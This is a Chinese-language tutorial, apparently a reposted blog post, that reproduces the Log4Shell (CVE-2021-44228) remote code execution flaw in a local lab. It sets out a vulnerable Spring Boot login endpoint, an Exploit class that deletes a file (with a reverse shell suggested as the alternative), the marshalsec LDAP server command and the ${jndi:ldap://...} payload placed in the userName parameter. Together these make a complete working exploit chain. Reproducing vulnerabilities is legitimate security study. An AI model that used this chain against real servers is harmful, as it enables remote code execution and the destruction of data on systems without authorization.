原文地址:log4j2远程代码执行漏洞复现
一、背景
Log4j 2 是 Java 中应用非常广泛的一个日志框架,在 2021 年底,一个名为 CVE-2021-44228(也称为 Log4Shell)的严重漏洞被发现,该漏洞被CVSS评为10分最高级别。网络攻击者利用这个漏洞不需要服务器密码就可以访问并操作服务器,攻击方式非常简单,技术门槛低,危害极大。
受影响版本:Apache log4j2 2.0 - 2.14.1
下面先简单看一下攻击原理,然后直接开始操作。
二、攻击原理
假设现在有个网站,当用户登录时,正常请求路径如下:
如果应用服务端的登录接口中使用漏洞版本的log4j2打印请求参数的日志,就有可能被注入。如图所示:
三、复现步骤
以下代码已放在github仓库:https://github.com/wsliliang/log4j-vul
1. jdk版本:作者使用jdk1.8.0_161和1.8.0_42复现成功,1.8.0_301复现失败。
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
使用1.8.0_301的情况下,将trustURLCodebase属性设置为true也没复现成功,原因暂未深究。
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
2. 写一个springboot项目,模拟被攻击的应用服务端登录接口,接口中打印了userName参数日志,启动此项目。端口为8080。访问地址为http://127.0.0.1:8080/login
@ResponseBody
@RequestMapping("login")
public String listUser(String userName,String password) {
log.info("登录成功,用户名:{}", userName);
return "登录成功";
}
3. 写一个在应用服务端执行的恶意代码,这里用删除一个服务器文件做演示,实际上可以使用反弹shell等做更多有害操作。编译这个类,生成class文件。
public class Exploit {
public Exploit() {
try {
File f = new File("c:/1.txt");
boolean delete = f.delete();
System.out.println("删除成功?" + delete);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
4. 启动一个http服务,配置使其可以访问上一步生成的.class文件,能使用http://127.0.0.1:4444/Exploit.class访问即可,注意4444是作者启动的http服务端口,可以根据自己情况修改,这个URL在下面会用到。
5. 启动LADP服务,具体作用可以参考上面的原理图。这里直接使用github上的代码GitHub - mbechler/marshalsec来运行ladp服务。如图所示:编译、运行启动。
运行ladp服务的命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:4444/#Exploit" 1389
上面命令中的http://127.0.0.1:4444/#Exploit是第四步中的地址,根据自己的情况可自行修改,1389是ladp服务默认端口,无需修改。
6. 在C盘建一个1.txt文件,使用恶意构造的参数访问登录接口。
POST http://localhost:8080/login
Content-Type: application/x-www-form-urlencoded
userName=${jndi:ldap://127.0.0.1:1389/Exploit}
切换到ldap服务的控制台,可以看到日志,说明登录接口中的log4j已经访问ladp服务了。
切换到http控制台,可以看到请求日志,说明应用服务器已经请求http服务器加载Exploit.class。
在Exploit源码中debug,可以确认恶意代码已经执行,查看C盘下的文件,已经被成功删除,漏洞成功复现。
四、注意事项
-
springboot项目默认会用logback日志,需要将logback依赖排除,并加上log4j的依赖,最好在日志打印处打断点,确认使用的是log4j的类。
-
恶意代码(即Exploit类)不能与应用服务代码放一起,否则会直接从应用服务器本地加载,不会从http服务请求恶意类。
-
确认jdk版本和log4j2版本符合条件。